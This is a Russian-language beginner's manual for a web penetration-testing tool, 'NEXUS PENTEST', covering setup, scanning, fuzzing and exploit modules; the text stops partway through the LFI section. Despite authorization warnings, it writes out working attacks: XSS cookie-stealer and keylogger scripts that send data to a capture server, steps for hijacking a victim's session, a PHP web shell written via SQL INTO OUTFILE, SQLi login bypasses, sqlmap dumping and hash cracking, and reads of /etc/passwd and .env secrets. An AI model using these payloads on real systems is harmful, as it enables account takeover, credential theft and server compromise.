

NEXUS PENTEST

Полное руководство пользователя

Данный документ содержит подробное описание всех функций инструмента NEXUS PENTEST. Руководство написано простым языком и рассчитано на начинающих специалистов по тестированию на проникновение. Каждый шаг пронумерован и объяснён с примерами реальных команд.

ИСПОЛЬЗУЙТЕ ТОЛЬКО НА СОБСТВЕННЫХ СИСТЕМАХ ИЛИ С ПИСЬМЕННОГО РАЗРЕШЕНИЯ ВЛАДЕЛЬЦА

РАЗДЕЛ 1. УСТАНОВКА И ПЕРВЫЙ ЗАПУСК

1.1 Установка Python

Python — это язык программирования, на котором написан NEXUS PENTEST. Без него программа не запустится. Установка занимает 3–5 минут и выполняется один раз. После установки Python будет работать для всех Python-программ на вашем компьютере. Важно правильно установить Python, иначе команда `pip` не будет найдена в командной строке.

1. Откройте браузер и перейдите на сайт <https://www.python.org/downloads/>
2. Нажмите большую жёлтую кнопку "Download Python 3.x.x" (последняя версия).
3. Запустите скачанный файл установщика (`python-3.x.x-amd64.exe`).
4. ОБЯЗАТЕЛЬНО поставьте галочку "Add python.exe to PATH" в самом низу первого экрана — без этого `pip` и `python` не будут работать из командной строки.
5. Нажмите "Install Now" и дождитесь окончания установки.
6. После установки нажмите "Disable path length limit" если появится такое предложение.
7. Закройте установщик. Откройте командную строку (Win+R, введите `cmd`, Enter).
8. Проверьте установку: введите команду `python --version` — должно появиться "Python 3.x.x". Затем введите `pip --version`.

1.2 Скачивание файлов NEXUS PENTEST

Файлы программы распространяются через GitHub. Существует два способа скачать их: через команду `git clone` (если Git установлен) или вручную как ZIP-архив. Оба способа дают одинаковый результат. Все файлы программы должны находиться в одной папке — не разносите их по разным директориям.

Способ А — через Git (рекомендуется, автообновление):

```
git clone https://github.com/BAШ_РЕПОЗИТОРИЙ/nexus-pentest.git
cd nexus-pentest
```

Способ В — вручную через ZIP:

1. Откройте страницу репозитория в браузере.
2. Нажмите зелёную кнопку "Code", затем "Download ZIP".
3. Скачанный архив сохраните в удобное место (например, `C:\Tools\`).
4. Нажмите правой кнопкой на архив → "Извлечь всё" → выберите папку.
5. Результат: папка `nexus-pentest` с файлами `main.py`, `requirements.txt` и другими.

1.3 Структура файлов

После распаковки в папке проекта должны находиться следующие файлы. Если какого-то файла нет — скачайте архив ещё раз целиком. Не удаляйте и не переименовывайте файлы.

```
nexus-pentest/  
  main.py          <- основной файл, запускать его  
  requirements.txt  <- список зависимостей  
  payloads/        <- папка с файлами нагрузок  
    sqli.txt  
    xss.txt  
    lfi.txt  
    cmdi.txt  
    fuzz_common.txt  
  README.md        <- краткая справка
```

1.4 Установка зависимостей

Зависимости — это дополнительные библиотеки Python, которые использует NEXUS PENTEST. Их нужно установить один раз перед первым запуском. Процесс занимает 1-3 минуты и требует подключения к интернету. pip скачает и установит всё автоматически.

1. Откройте командную строку или PowerShell В ПАПКЕ проекта (см. п. 1.5).
2. Введите команду установки зависимостей:

```
pip install -r requirements.txt
```

3. Дождитесь сообщения "Successfully installed ..." для каждого пакета.
4. Если видите ошибку "pip not found" — Python установлен без PATH (см. п. 1.1, шаг 4).
5. Если видите ошибку прав доступа — добавьте флаг --user: `pip install --user -r requirements.txt`

1.5 Как открыть командную строку в нужной папке

Это важный навык. Нельзя просто открыть cmd и вводить команды — нужно сначала перейти в папку проекта. Есть несколько способов.

1. Откройте папку nexus-pentest в Проводнике Windows.
2. Удерживая Shift, нажмите ПРАВОЙ кнопкой мыши на ПУСТОМ месте в папке.
3. Выберите "Открыть окно PowerShell здесь" или "Открыть командную строку здесь".
4. Альтернатива: в адресной строке Проводника введите cmd и нажмите Enter.
5. Альтернатива 2: откройте cmd, введите `cd C:\путь\до\папки\nexus-pentest`

1.6 Запуск программы

После установки всех зависимостей программа готова к запуску. Запуск занимает несколько секунд. Откроется графическое окно с вкладками. Не закрывайте командную строку, пока работаете с программой — она нужна для работы фоновых процессов.

```
python main.py
```

При первом запуске может появиться запрос брандмауэра Windows — нажмите

'Разрешить доступ'. Это нужно для работы сервера захвата XSS.

1.7 Как должно выглядеть окно при запуске

При успешном запуске откроется окно приложения с тёмной или светлой темой. В верхней части — строка меню и панель вкладок. Вкладки: Сканирование, Находки, История, Кодировщик, Фаззер, Ручной запрос, Эксплойты, Настройки. В нижней части окна — строка статуса. Если вкладки не видны — растяните окно.

1.8 Типичные ошибки при запуске

Ниже перечислены самые частые ошибки и способы их исправить:

Ошибка: `ModuleNotFoundError: No module named 'requests'`

Решение: Не установлены зависимости. Выполните: `pip install -r requirements.txt`

Ошибка: `python` не является внутренней командой

Решение: Python не добавлен в PATH. Переустановите Python, поставив галочку 'Add to PATH'.

Ошибка: `SyntaxError` в `main.py`

Решение: Неверная версия Python. Требуется Python 3.8+. Проверьте: `python --version`

Ошибка: `Permission denied / Access is denied`

Решение: Запустите командную строку от имени администратора (правой кнопкой на cmd → 'Запуск от администратора').

Ошибка: Окно открылось и сразу закрылось

Решение: Запускайте через cmd, а не двойным кликом — так вы увидите текст ошибки.

Ошибка: `TclError: no display name and no $DISPLAY`

Решение: Система без графического интерфейса (Linux сервер). Нужен X-сервер или VNC.

РАЗДЕЛ 2. ВКЛАДКА «СКАНИРОВАНИЕ»

2.1 Поле ввода цели (Target URL)

Первое поле на вкладке — строка для ввода адреса сайта, который нужно проверить. Вводите полный URL включая протокол. Сканер принимает как отдельные URL со страницами и параметрами, так и корневые адреса сайтов. При вводе корневого адреса сканер попытается обнаружить страницы автоматически через краулинг. Рекомендуется указывать конкретную страницу с параметром для точного тестирования.

Примеры корректного ввода:

`http://localhost.tu/catalog/?q=1`

`http://localhost.tu/login.php?id=5&cat=books`

`http://localhost.tu/search?query=test`

`http://localhost.tu/` (сканер сам найдёт параметры)

ВАЖНО: Всегда используйте сайты, на тестирование которых у вас есть письменное разрешение. Для обучения используйте локальные стенды: DVWA, bWAPP, WebGoat, Juice Shop.

2.2 Настройки сканирования (чекбоксы)

Под полем URL расположена панель с чекбоксами — они включают или выключают отдельные модули сканирования. Каждый модуль проверяет определённый класс уязвимостей. Включение всех модулей даёт максимальное покрытие, но увеличивает время сканирования.

SQLi (SQL Injection)

Проверяет параметры на внедрение SQL-кода. Отправляет специальные символы (одинарная кавычка, двойная, комментарии) и анализирует ответ сервера на признаки SQL-ошибок или изменения в ответе.

XSS (Cross-Site Scripting)

Проверяет поля ввода и параметры URL на возможность внедрения JavaScript-кода. Тестирует отражённый XSS — когда введённый код возвращается в ответе страницы и выполняется в браузере.

LFI (Local File Inclusion)

Проверяет параметры, связанные с файлами (page=, file=, include=), на возможность чтения произвольных файлов с сервера через обход директорий (../../etc/passwd).

CMDi (Command Injection)

Проверяет параметры на возможность выполнения системных команд. Проверяет различные разделители (;, |, &&, `) для объединения вредоносной команды с легитимным запросом.

IDOR (Insecure Direct Object Reference)

Проверяет числовые идентификаторы в параметрах URL (id=5, user=3) на предмет несанкционированного доступа к чужим объектам путём перебора значений.

Открытый редирект

Проверяет параметры redirect=, url=, next= на возможность перенаправления пользователя на внешний вредоносный сайт.

Заголовки безопасности

Анализирует HTTP-заголовки ответа сервера на наличие защитных заголовков: X-Frame-Options, Content-Security-Policy, X-XSS-Protection, HSTS и др.

2.3 Запуск сканирования

1. Убедитесь, что в поле URL введён корректный адрес.
2. Выберите нужные модули сканирования (чекбоксы).
3. Нажмите кнопку "Начать сканирование" (зелёная кнопка).
4. Кнопка изменит цвет на красный с надписью "Остановить" — теперь можно прервать.
5. В поле лога начнут появляться сообщения о ходе сканирования.

2.4 Лог сканирования — что означают сообщения

Лог — это текстовое поле в нижней части вкладки. Оно показывает все действия сканера в реальном времени. Каждая строка содержит метку времени, тип сообщения и описание.

```
[INFO] Начинаю сканирование: http://localhost.tu/catalog/?q=1
-> Сканер запустился и начал обработку первого URL.
[INFO] Найден параметр: q
-> Обнаружен параметр в URL — он будет тестироваться.
[TEST] SQLi payload: q=1'
-> Отправляется конкретная нагрузка для тестирования.
[HIGH] SQL Injection обнаружена! Параметр: q
-> Найдена уязвимость высокой критичности.
[INFO] Сканирование завершено. Найдено: 2 HIGH, 1 MEDIUM
-> Итоговая сводка по результатам сканирования.
```

2.5 Строка статуса (счётчики HIGH/MEDIUM/LOW)

В нижней части окна расположена строка статуса. Она обновляется в реальном времени и показывает количество найденных уязвимостей по уровням критичности.

HIGH: Критические уязвимости — требуют немедленного исправления. Примеры: SQLi, CMDi, LFI с чтением системных файлов.

MEDIUM: Уязвимости средней критичности — важны, но менее опасны. Примеры: XSS, открытый редирект.

LOW: Низкая критичность — информационные замечания. Примеры: отсутствие заголовков безопасности.

2.6 Время сканирования

Время зависит от количества параметров на странице, выбранных модулей и скорости ответа сервера. Одна страница с одним параметром и всеми модулями занимает около 30–120 секунд. При включённом краулинге на большом сайте — от 5 до 30 минут. Счётчик времени отображается в логе по завершении.

2.7 Что делать после завершения сканирования

1. Перейдите на вкладку "Находки" для просмотра детального отчёта.
2. Сортируйте находки по уровню критичности (нажав на заголовок столбца).
3. Для каждой находки типа HIGH проведите ручную верификацию.
4. Используйте кнопку экспорта для сохранения результатов в файл.
5. При необходимости запустите повторное сканирование с другими модулями.

РАЗДЕЛ 3. ВКЛАДКА «НАХОДКИ»

3.1 Цветовое кодирование уровней критичности

Каждая строка в таблице находок окрашена в соответствии с уровнем критичности уязвимости. Это позволяет мгновенно оценить важность каждой находки без чтения деталей.

КРАСНЫЙ (HIGH): Критические уязвимости. SQL Injection, Command Injection, LFI с доступом к системным файлам. Эти уязвимости могут привести к полному захвату сервера.

ЖЁЛТЫЙ (MEDIUM): Уязвимости средней критичности. XSS, SSRF, небезопасная конфигурация. Требуют исправления, но не дают прямого доступа к системе.

СИНИЙ (LOW): Низкая критичность. Отсутствующие заголовки безопасности, устаревшие библиотеки. Важны для полного аудита, но не критичны сами по себе.

СЕРЫЙ (INFO): Информационные сообщения. Версия сервера, технологии, Cookie без флагов. Полезны для понимания цели, но сами по себе не являются уязвимостями.

3.2 Использование фильтра

Над таблицей находится строка фильтра. Введите текст — таблица немедленно покажет только строки, содержащие введённый текст в любом из столбцов. Фильтр работает по всем полям: тип уязвимости, URL, параметр, описание. Для сброса фильтра очистите поле.

Примеры фильтров:

sqli	-- показать только SQL Injection
HIGH	-- только критические находки
catalog	-- только находки на странице /catalog/
param=q	-- только находки по параметру q

3.3 Просмотр деталей находки (клик по строке)

Щелчок левой кнопкой по строке открывает панель деталей в нижней части вкладки. Панель показывает полную информацию о находке: точный HTTP-запрос с нагрузкой, который вызвал срабатывание, ответ сервера, рекомендацию по исправлению и ссылки на CVE/CWE.

3.4 Контекстное меню (правая кнопка мыши)

Нажмите ПРАВОЙ кнопкой мыши на строку с находкой. Появится контекстное меню с инструментами эксплуатации, специфичными для типа уязвимости. Ниже описан

каждый пункт меню.

-- Меню для SQL Injection --

* Авто эксплойт

Автоматически запускает цепочку команд: определяет тип БД, получает версию, текущего пользователя, список баз данных и таблиц. Результаты выводятся в окне эксплойта. Используйте как стартовую точку.

* Получить таблицы

Запускает UNION-запрос или слепой перебор для получения списка таблиц в текущей базе данных. Особый интерес представляют таблицы users, admin, accounts, members.

* Версия БД

Выполняет запрос VERSION() (MySQL/MariaDB) или @@VERSION (MSSQL) для определения точной версии СУБД. Это помогает подобрать специфичные нагрузки.

* Юзер БД

Выполняет запрос USER() или CURRENT_USER() для получения имени пользователя базы данных. Если это root — возможен очень широкий доступ.

-- Меню для XSS --

* Cookie Stealer

Создаёт XSS-нагрузку, которая при выполнении в браузере жертвы отправляет её cookies на ваш сервер захвата. После получения cookies их можно использовать для захвата сессии без знания пароля.

* Keylogger

Создаёт нагрузку, которая перехватывает все нажатия клавиш на странице и отправляет их на сервер. Это позволяет перехватить пароли, которые жертва вводит после загрузки заражённой страницы.

* Сканер портов

Использует XSS для сканирования внутренней сети с машины жертвы. JavaScript делает запросы к локальным IP-адресам и портам, недоступным снаружи. Результаты отправляются на сервер захвата.

* Запустить захват

Запускает встроенный HTTP-сервер для приёма данных от XSS-нагрузок. Необходимо запустить ДО использования Cookie Stealer, Keylogger и других нагрузок.

-- Меню для LFI --

* /etc/passwd

Пытается прочитать файл /etc/passwd через уязвимость LFI. Этот файл содержит список пользователей Linux-системы. Найдите строки с /bin/bash — это пользователи с интерактивной оболочкой.

* .env

Пытается прочитать файл .env в корне веб-приложения. Этот файл часто содержит критически важные секреты: ключи API, пароли баз данных, токены доступа к

сторонним сервисам.

* **RНР исходник**

Использует RНР-фильтр `php://filter/convert.base64-encode` для чтения исходного кода RНР-файлов. Результат приходит в Base64 — декодируйте его для получения исходника.

-- Меню для CMDi --

* **id&&whoami**

Выполняет команды `id` и `whoami` на сервере. Показывает под каким пользователем работает веб-сервер (`www-data`, `apache`, `root`). Права `root` означают полный контроль над системой.

* **ls -la /**

Выводит содержимое корневой директории сервера. Позволяет увидеть структуру файловой системы и найти интересные директории и файлы для дальнейшего исследования.

* **Reverse Shell**

Запускает мастер создания реверс-шелла. Вы указываете IP-адрес и порт, на котором ждёте подключения, программа генерирует нагрузку и отправляет её на уязвимый сервер.

-- Универсальные пункты (для всех типов) --

* **Копировать URL**

Копирует в буфер обмена полный URL с нагрузкой, вызвавшей уязвимость. Удобно для вставки в браузер или документ отчёта.

* **Копировать детали**

Копирует полный технический отчёт по находке: запрос, ответ, параметры, нагрузку. Используйте для составления отчёта о пентесте.

* **Открыть в ручном запросе**

Открывает вкладку «Ручной запрос» и заполняет её данными этой находки. Позволяет быстро перейти к ручному тестированию и экспериментировать с нагрузками.

3.5 Кнопки экспорта

В верхней правой части вкладки расположены три кнопки экспорта. Экспортируются только текущие видимые строки с учётом фильтра.

[HTML] Создаёт красиво оформленный HTML-отчёт с цветовым кодированием. Готов к открытию в браузере и распечатке. Идеален для передачи заказчику.

[JSON] Создаёт машиночитаемый JSON-файл со всеми данными. Используйте для интеграции с другими инструментами (Jira, дефект-трекеры, собственные скрипты).

[TXT] Простой текстовый отчёт. Удобен для быстрого просмотра и является универсальным форматом для любой системы.

РАЗДЕЛ 4. ВКЛАДКА «ИСТОРИЯ»

4.1 Назначение вкладки

Вкладка История сохраняет все HTTP-запросы, отправленные программой в ходе сканирования и ручного тестирования. Это позволяет вернуться к любому запросу, повторить его, изменить и отправить снова. История является аналогом HTTP History в Burp Suite. Все запросы сохраняются в текущей сессии — при закрытии программы история очищается (если не экспортировать).

4.2 Столбцы таблицы истории

N: Порядковый номер запроса. Чем больше число — тем позже был отправлен запрос.

Метод: HTTP-метод запроса: GET, POST, PUT, DELETE, etc. Большинство запросов сканера — GET.

URL: Полный URL запроса включая параметры. Длинные URL обрезаются — кликните для просмотра.

Статус: HTTP-код ответа: 200 (успех), 301/302 (редирект), 403 (запрещено), 404 (не найдено), 500 (ошибка сервера).

Размер: Размер тела ответа в байтах. Аномально большой или маленький ответ может указывать на уязвимость.

Время мс: Время ответа сервера в миллисекундах. Резко увеличенное время (>5000 мс) может указывать на time-based SQLi.

Тип: MIME-тип ответа: text/html, application/json, image/png. Помогает понять, что вернул сервер.

4.3 Цветовое кодирование строк истории

ЗЕЛЁНЫЙ: Статус 200 — запрос выполнен успешно.

ОРАНЖЕВЫЙ: Статус 3xx — произошёл редирект.

КРАСНЫЙ: Статус 4xx/5xx — ошибка клиента или сервера.

СИНИЙ: Запрос, содержащий нагрузку уязвимости (помечен сканером).

4.4 Просмотр деталей запроса и ответа

Кликните по строке в таблице. В нижней части вкладки откроются две панели рядом. Левая панель показывает полный исходящий HTTP-запрос включая заголовки и тело. Правая панель показывает полный HTTP-ответ сервера. Вы можете выделить и скопировать любую часть запроса или ответа.

Пример запроса:

```
GET /catalog/?q=1' HTTP/1.1
Host: localhost.tu
User-Agent: Mozilla/5.0
Accept: text/html
```

Пример ответа:

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 4521

You have an error in your SQL syntax...

РАЗДЕЛ 5. ВКЛАДКА «КОДИРОВЩИК»

5.1 Назначение кодировщика

Кодировщик — инструмент для преобразования текста между различными форматами кодирования. При тестировании часто нужно закодировать нагрузку так, чтобы она прошла через фильтры на сервере, или декодировать данные, полученные от сервера. Кодировщик работает в обе стороны: и кодирует, и декодирует. Результат можно скопировать одним кликом.

5.2 Типы кодирования

URL-кодирование

Заменяет специальные символы на %XX где XX — шестнадцатеричный код символа.

Вход: `<script>alert(1)</script>`
 Выход: `%3Cscript%3Ealert%281%29%3C%2Fscript%3E`

Когда использовать: Параметры URL, POST-данные. Обходит фильтры, проверяющие сырой текст.

Двойное URL-кодирование

Применяет URL-кодирование дважды. % заменяется на %25.

Вход: `<script>`
 Выход: `%253Cscript%253E`

Когда использовать: Обход WAF и двойной декодирующей логики на сервере.

Base64

Преобразует бинарные данные в текст из букв, цифр и символов +/=.

Вход: `admin:password123`
 Выход: `YWRtaW46cGFzc3dvcmQxMjM=`

Когда использовать: Передача двоичных данных, обфускация нагрузок, LFI `php://filter`.

HTML-entities

Заменяет HTML-символы на их именованные или числовые эквиваленты.

Вход: `<script>alert(1)</script>`
 Выход: `<script>alert(1)</script>`

Когда использовать: Обход XSS-фильтров, проверяющих угловые скобки в исходном виде.

Hex

Преобразует каждый байт в двузначное шестнадцатеричное число.

Вход: `SELECT`
 Выход: `53454c454354`

Когда использовать: SQL-инъекции в HEX-форме: `SELECT * FROM users — 0x53454c454354...`

Unicode

Представляет символы в виде Unicode escape-последовательностей.

Вход: `<script>`

Выход: `\u003cscript\u003e`

Когда использовать: Обход JavaScript-фильтров, применяется в JSON-контексте XSS.

5.3 Практический пример: подготовка XSS-нагрузки

Допустим, сайт фильтрует угловые скобки `<` и `>`. Стандартная нагрузка `<script>alert(1)</script>` не работает. Используем кодировщик:

1. Введите нагрузку в поле ввода: `<script>alert(1)</script>`
2. Выберите тип "HTML-entities".
3. Нажмите "Кодировать". Результат: `<script>alert(1)</script>`
4. Если не сработало — попробуйте "URL-кодирование" или "Unicode".
5. Скопируйте результат кнопкой "Копировать" и вставьте в параметр URL.
6. Проверьте результат в браузере.

РАЗДЕЛ 6. ВКЛАДКА «ФАЗЗЕР»

6.1 Что такое фаззинг

Фаззинг — это техника тестирования, при которой программа автоматически подставляет большое количество различных значений (нагрузок) в параметры запроса и анализирует ответы сервера в поисках аномалий. Фаззер NEXUS позволяет тестировать любые параметры HTTP-запроса: URL, заголовки, тело POST-запроса. Главный принцип: отметьте место подстановки маркером FUZZ, выберите список нагрузок, запустите.

6.2 Маркер FUZZ — куда его ставить

Маркер FUZZ — это специальная метка, которую вы вставляете в запрос на место, куда нужно подставлять нагрузки. При запуске фаззера он заменяет FUZZ на каждую строку из выбранного списка по очереди и отправляет запрос.

```
# Примеры использования FUZZ:

# В параметре URL:
http://localhost.tu/catalog/?q=FUZZ

# В пути URL:
http://localhost.tu/FUZZ/index.php

# В нескольких местах:
http://localhost.tu/FUZZ/?id=FUZZ

# В заголовке (введите в поле заголовков):
X-Forwarded-For: FUZZ

# В теле POST:
username=admin&password=FUZZ
```

6.3 Списки нагрузок

* SQL Injection (sqli.txt)

Содержит классические SQLi-нагрузки: одинарные кавычки, UNION-запросы, комментарии, time-based нагрузки (SLEEP, WAITFOR). Используйте для поиска SQL-ошибок или временных задержек в ответе.

* XSS (xss.txt)

Содержит XSS-векторы: теги script, img, svg, обработчики событий onload, onerror. Включает закодированные варианты для обхода фильтров. Ищите отражение нагрузки

в теле ответа.

* LFI (lfi.txt)

Содержит пути обхода директорий: ../../../../etc/passwd, различные варианты с URL-кодированием и null-байтами.

* Dirbusting (common.txt)

Список распространённых имён файлов и директорий: admin, backup, login, wp-admin, phpinfo.php и т.д. Используйте маркер FUZZ в пути для поиска скрытых ресурсов.

* Пользовательский список

Загрузите собственный текстовый файл. Каждая строка — одна нагрузка. Можно использовать списки из SecLists (GitHub: danielmiessler/SecLists).

6.4 Что такое аномальный ответ

Фаззер подсвечивает строки, в которых ответ сервера отличается от «нормального» ответа. Аномалии бывают нескольких типов:

! Размер ответа резко отличается

Нормальный ответ 500 байт, аномальный — 5000 байт. Возможно, нагрузка вызвала вывод дополнительных данных (SQLi dump).

! Код статуса отличается

Большинство запросов дают 200, но один дал 500 — возможно сработала SQL-ошибка. Код 302 — возможен обход аутентификации.

! Время ответа резко увеличилось

Если обычный запрос отвечает за 50мс, а один — за 5000мс, это признак time-based SQL Injection (SLEEP(5) сработал).

! В ответе есть слова из нагрузки

Если ввели <script> и в ответе есть <script> — возможен XSS.

6.5 Количество потоков

Поле «Потоки» определяет количество параллельных запросов. Больше потоков = быстрее, но больше нагрузка на сервер и выше риск обнаружения IDS/WAF. Рекомендации: для локального стенда — 10-20 потоков, для production-сервера с разрешения — 3-5 потоков. Начинайте с малого и увеличивайте при необходимости.

РАЗДЕЛ 7. ВКЛАДКА «РУЧНОЙ ЗАПРОС»

7.1 Назначение вкладки

Ручной запрос — это встроенный HTTP-клиент, позволяющий отправлять произвольные HTTP-запросы и анализировать ответы. Аналог curl в графическом интерфейсе. Используется для верификации уязвимостей, ручного тестирования, отладки и экспериментов с нагрузками. Это один из самых важных инструментов для глубокого тестирования.

7.2 Поля интерфейса

Метод (выпадающий список)

Выберите HTTP-метод: GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS. GET — получение данных (параметры в URL). POST — отправка данных (параметры в теле запроса).

URL

Полный адрес запроса. Для GET-запросов включайте параметры прямо в URL: `http://localhost.tu/login.php?user=admin&pass=test`

Заголовки (Headers)

Дополнительные HTTP-заголовки, по одному на строку в формате 'Имя: Значение'. Часто используемые: Cookie, Authorization, Content-Type, X-Forwarded-For.

Тело запроса (Body)

Данные для POST/PUT запросов. Для HTML-форм используйте формат `key=value&key2=value2`. Для JSON: `{"key": "value"}`. Для JSON не забудьте добавить заголовок Content-Type: `application/json`

Кнопка Отправить

Отправляет запрос и показывает ответ в правой панели. Ctrl+Enter — быстрая клавиша отправки.

7.3 Практический пример: ручное тестирование формы входа

Допустим, вы хотите вручную проверить форму входа на `http://localhost.tu/login.php` на SQL-инъекцию.

1. Выберите метод POST из выпадающего списка.
2. В поле URL введите: `http://localhost.tu/login.php`
3. В поле заголовков введите:
`Content-Type: application/x-www-form-urlencoded`
4. В поле тела запроса введите:
`username=admin'--&password=anything`
5. Нажмите "Отправить".
6. Изучите ответ: если произошёл вход без верного пароля — SQLi подтверждена.

7. Попробуйте другие нагрузки: admin' OR '1'='1'--

Другие полезные нагрузки для формы входа:

```
username=admin'--&password=x
```

```
username=admin' OR '1'='1'--&password=x
```

```
username=' UNION SELECT 1,2,3--&password=x
```

7.4 Как читать ответ сервера

Правая панель показывает ответ в нескольких вкладках: Raw (сырой ответ с заголовками), Body (только тело), Rendered (рендеринг HTML, если включён). Обратите внимание на: код статуса (200, 302, 403, 500), заголовки Set-Cookie (новые сессии), Location при редиректе (куда перенаправляет), тело ответа (сообщения об ошибках, данные пользователя).

РАЗДЕЛ 8. ЭКСПЛОИТ — SQL INJECTION

8.1 Когда использовать этот модуль

Модуль SQLi-эксплойта использовать тогда, когда сканер или ручное тестирование подтвердили наличие SQL-инъекции. На вкладке Находки строка с типом 'SQL Injection' и уровнем HIGH — ваш сигнал перейти к эксплойту. Правый клик на этой строке → 'Авто эксплойт' откроет модуль с предзаполненными полями.

8.2 Заполнение полей эксплойта

1. URL — введите адрес уязвимой страницы: `http://localhost.tu/catalog/?q=1`
2. Параметр — введите имя уязвимого параметра: `q`
3. Метод — выберите GET или POST в зависимости от типа формы.
4. Тип инъекции — выберите из списка: UNION, Error-based, Blind Boolean, Time-based.
5. Нажмите кнопку "Проверить" для подтверждения инъекции перед эксплойтом.

8.3 Кнопки и их SQL-запросы

[Версия БД] — Определяет версию СУБД. Критично для дальнейших действий.

```
MySQL: SELECT VERSION()
MSSQL: SELECT @@VERSION
PostgreSQL: SELECT version()
```

[Текущий юзер] — Показывает пользователя БД. root/sa означает максимальные права.

```
MySQL: SELECT USER()
MSSQL: SELECT SYSTEM_USER
PostgreSQL: SELECT current_user
```

[Список БД] — Выводит имена всех баз данных на сервере.

```
MySQL: SELECT schema_name FROM information_schema.schemata
MSSQL: SELECT name FROM master..sysdatabases
```

[Таблицы] — Выводит таблицы в текущей или выбранной БД.

```
MySQL: SELECT table_name FROM information_schema.tables
       WHERE table_schema=database()
```

[Столбцы] — Выводит столбцы выбранной таблицы.

```
MySQL: SELECT column_name FROM information_schema.columns
       WHERE table_name='users'
```

[Дамп таблицы] — Выгружает все данные из таблицы.

```
MySQL: SELECT * FROM users LIMIT 100
```

[Читать файл] — Читает файл с диска сервера (требуется FILE привилегия).

```
MySQL: SELECT LOAD_FILE('/etc/passwd')
```

[Запись файла] — Записывает файл на диск сервера (требуется FILE привилегию).

```
MySQL: SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
```

8.4 Эквивалентные команды sqlmap

sqlmap — мощный инструмент командной строки для автоматической эксплуатации SQLi. Если кнопки в программе не дают результата, попробуйте sqlmap:

```
# Базовая проверка:
sqlmap -u 'http://localhost.tu/catalog/?q=1' --dbms

# Получить таблицы в БД:
sqlmap -u 'http://localhost.tu/catalog/?q=1' -D имя_бд --tables

# Дамп таблицы users:
sqlmap -u 'http://localhost.tu/catalog/?q=1' -D имя_бд -T users --dump

# POST-запрос:
sqlmap -u 'http://localhost.tu/login.php' --data='user=1&pass=2' -p user

# С cookie:
sqlmap -u 'http://localhost.tu/profile?id=1' --cookie='PHPSESSID=abc123'
```

8.5 Что делать с хэшами паролей

После дампа таблицы users вы увидите хэши паролей вместо открытых текстов. Для взлома используйте hashcat или john the ripper. Сначала определите тип хэша: MD5, SHA1, bcrypt (\$2y\$), SHA256.

```
# Взлом MD5 словарём (hashcat):
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Взлом bcrypt:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Онлайн: https://crackstation.net/ (для MD5/SHA1/SHA256)
```

РАЗДЕЛ 9. ЭКСПЛОИТ — XSS

9.1 Порядок работы с XSS-модулем

XSS (Cross-Site Scripting) — уязвимость, позволяющая выполнить JavaScript в браузере другого пользователя. Для эксплуатации XSS нужен сервер, на который жертва отправит украденные данные. В NEXUS PENTEST встроен такой сервер. Всегда сначала запускайте сервер захвата, потом создавайте нагрузку.

1. Перейдите на вкладку XSS-эксплойта или найдите XSS-находку в таблице.
2. Запустите сервер захвата: нажмите кнопку "Запустить сервер" или перейдите на вкладку "Сервер захвата" (раздел 13).
3. Скопируйте адрес сервера захвата (например, `http://192.168.1.100:8765`).
4. Выберите тип нагрузки: Cookie Stealer, Keylogger, Port Scanner, Form Stealer.
5. Нагрузка будет автоматически содержать ваш IP и порт сервера.
6. Внедрите нагрузку в уязвимый параметр.
7. Ждите, пока жертва загрузит страницу — данные придут на сервер захвата.

9.2 Cookie Stealer — перехват cookies

Cookie Stealer создаёт нагрузку, которая читает cookies браузера жертвы и отправляет их на ваш сервер. Cookies часто содержат идентификаторы сессии (PHPSESSID, session_id), с помощью которых можно войти на сайт без знания пароля.

```
# Генерируемая нагрузка (пример):  
<script>document.location='http://192.168.1.100:8765/steal?c='  
+encodeURIComponent(document.cookie)</script>  
  
# Вариант через img:  
<img src=x onerror="fetch('http://192.168.1.100:8765/?c='+document.cookie)">
```

Как использовать украденные cookies в браузере:

1. В браузере откройте нужный сайт (без авторизации).
2. Нажмите F12 — вкладка "Console" (Консоль).
3. Введите: `document.cookie = "PHPSESSID=УКРАДЕННОЕ_ЗНАЧЕНИЕ"`
4. Нажмите Enter, обновите страницу (F5).
5. Если cookie верная — вы войдёте в аккаунт жертвы.

9.3 Keylogger — перехват нажатий клавиш

Keylogger-нагрузка добавляет на страницу обработчик событий keypress, который перехватывает каждое нажатие клавиши и периодически отправляет накопленный текст на сервер. Особенно опасен на страницах входа.

```
# Принцип работы нагрузки:  
<script>
```

```
var log='';
document.onkeypress=function(e){
  log+=String.fromCharCode(e.which);
  if(log.length>20){
    new Image().src='http://192.168.1.100:8765/?k='+btoa(log);
    log='';
  }
};
</script>
```

9.4 Сканер портов через XSS

JavaScript может делать запросы к локальным адресам сети жертвы, недоступным из интернета. Сканер создаёт нагрузку, проверяющую доступность портов на localhost и внутренних IP-адресах. Результаты приходят на сервер захвата.

```
# Что сканируется по умолчанию:
localhost:22 (SSH), localhost:3306 (MySQL),
localhost:5432 (PostgreSQL), localhost:27017 (MongoDB),
localhost:6379 (Redis), localhost:8080 (внутренний веб)
```

9.5 Form Stealer — перехват форм

Form Stealer перехватывает данные, которые жертва вводит в формы на заражённой странице. При сабмите формы данные дополнительно отправляются на сервер захвата. Это позволяет получить логин и пароль в открытом виде.

9.6 Как использовать украденную сессию

```
// В консоли браузера (F12 -> Console):

// Установить cookie сессии:
document.cookie = 'PHPSESSID=abc123def456; path=/';

// Или использовать localStorage токен:
localStorage.setItem('token', 'eyJhbGci...');

// Обновить страницу:
location.reload();
```

РАЗДЕЛ 10. ЭКСПЛОИТ — LFI (LOCAL FILE INCLUSION)

10.1 Что такое LFI

LFI (Local File Inclusion) — уязвимость, позволяющая читать файлы с сервера через параметры веб-приложения. Обычно уязвимы параметры типа `page=`, `file=`, `include=`, `template=`, `lang=`. Атака использует обход директорий (path traversal): `../../../../etc/passwd`. Критическая уязвимость, так как может раскрыть системные файлы, конфиги, исходный код и даже привести к RCE через Log Poisoning.

10.2 Кнопки и читаемые файлы

[/etc/passwd]

Список пользователей Linux. Формат: `username:x:UID:GID:comment:home:shell`. Найдите строки с `/bin/bash` или `/bin/sh` — это интерактивные пользователи. Имена пользователей нужны для брутфорса SSH.

```
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
deploy:x:1000:1000:~/home/deploy:/bin/bash
```

